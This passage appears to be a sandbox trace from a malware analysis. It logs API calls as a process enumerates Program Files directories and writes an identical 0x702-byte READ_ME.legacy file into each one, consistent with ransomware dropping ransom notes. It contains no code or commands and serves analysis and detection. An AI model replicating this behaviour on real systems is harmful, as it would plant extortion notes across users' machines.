lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.656] CloseHandle (hObject=0x1c6c) returned 1 [0200.656] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0200.656] CreateFileW (lpFileName="\\Program Files\\Windows Portable Devices\\READ_ME.legacy" (normalized: "c:\\program files\\windows portable devices\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.656] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.657] CloseHandle (hObject=0x1c6c) returned 1 [0200.657] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0200.657] CreateFileW (lpFileName="\\Program Files\\Windows Security\\READ_ME.legacy" (normalized: "c:\\program files\\windows security\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.657] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.658] CloseHandle (hObject=0x1c6c) returned 1 [0200.658] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94a979c4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94a979c4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0200.658] CreateFileW (lpFileName="\\Program Files\\Windows Sidebar\\READ_ME.legacy" (normalized: "c:\\program files\\windows sidebar\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.658] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.659] CloseHandle (hObject=0x1c6c) returned 1 [0200.659] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0200.660] CreateFileW (lpFileName="\\Program Files\\WindowsApps\\READ_ME.legacy" (normalized: "c:\\program files\\windowsapps\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.666] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0200.666] CreateFileW (lpFileName="\\Program Files\\WindowsPowerShell\\READ_ME.legacy" (normalized: "c:\\program files\\windowspowershell\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.667] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.667] CloseHandle (hObject=0x1c6c) returned 1 [0200.667] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0200.668] FindFirstFileW (in: lpFileName="\\Program Files (x86)\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d17b0 [0200.668] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.668] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33b7f536, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33b7f536, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0200.668] CreateFileW (lpFileName="\\Program Files (x86)\\Adobe\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\adobe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.668] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.669] CloseHandle (hObject=0x1c70) returned 1 [0200.669] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x552bd6b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x552bd6b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0200.669] CreateFileW (lpFileName="\\Program Files (x86)\\Common Files\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\common files\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.670] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.670] CloseHandle (hObject=0x1c70) returned 1 [0200.670] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0200.670] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x94ae3e56, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94ae3e56, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Google", cAlternateFileName="")) returned 1 [0200.671] CreateFileW (lpFileName="\\Program Files (x86)\\Google\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\google\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.671] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.672] CloseHandle (hObject=0x1c70) returned 1 [0200.672] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94abdc5c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94abdc5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0200.672] CreateFileW (lpFileName="\\Program Files (x86)\\Internet Explorer\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\internet explorer\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.673] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.673] CloseHandle (hObject=0x1c70) returned 1 [0200.673] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740253b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x740253b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0200.673] CreateFileW (lpFileName="\\Program Files (x86)\\Microsoft Office\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\microsoft office\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.674] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.674] CloseHandle (hObject=0x1c70) returned 1 [0200.675] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94ae3e56, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94ae3e56, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0200.675] CreateFileW (lpFileName="\\Program Files (x86)\\Microsoft.NET\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\microsoft.net\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.675] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.676] CloseHandle (hObject=0x1c70) returned 1 [0200.676] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4e2594, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1 [0200.676] CreateFileW (lpFileName="\\Program Files (x86)\\Mozilla Maintenance Service\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.678] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.678] CloseHandle (hObject=0x1c70) returned 1 [0200.679] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x94a979c4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94a979c4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0200.679] CreateFileW (lpFileName="\\Program Files (x86)\\MSBuild\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\msbuild\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.680] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.681] CloseHandle (hObject=0x1c70) returned 1 [0200.681] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0200.681] CreateFileW (lpFileName="\\Program Files (x86)\\Reference Assemblies\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\reference assemblies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.682] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.682] CloseHandle (hObject=0x1c70) returned 1 [0200.682] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94abdc5c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94abdc5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0200.682] CreateFileW (lpFileName="\\Program Files (x86)\\Windows Defender\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows defender\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.683] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.684] CloseHandle (hObject=0x1c70) returned 1 [0200.684] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94a979c4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94a979c4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0200.684] CreateFileW (lpFileName="\\Program Files (x86)\\Windows Mail\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows mail\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.684] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.685] CloseHandle (hObject=0x1c70) returned 1 [0200.685] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x94ae3e56, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94ae3e56, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0200.685] CreateFileW (lpFileName="\\Program Files (x86)\\Windows Media Player\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows media player\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.686] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.687] CloseHandle (hObject=0x1c70) returned 1 [0200.687] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94b31d12, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94b31d12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0200.687] CreateFileW (lpFileName="\\Program Files (x86)\\Windows Multimedia Platform\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows multimedia platform\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.690] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.691] CloseHandle (hObject=0x1c70) returned 1 [0200.691] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96666154, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x96666154, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0200.691] CreateFileW (lpFileName="\\Program Files (x86)\\Windows NT\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows nt\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.691] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.692] CloseHandle (hObject=0x1c70) returned 1 [0200.692] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94ae3e56, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94ae3e56, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0200.693] CreateFileW (lpFileName="\\Program Files (x86)\\Windows Photo Viewer\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows photo viewer\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.693] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.694] CloseHandle (hObject=0x1c70) returned 1 [0200.694] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: 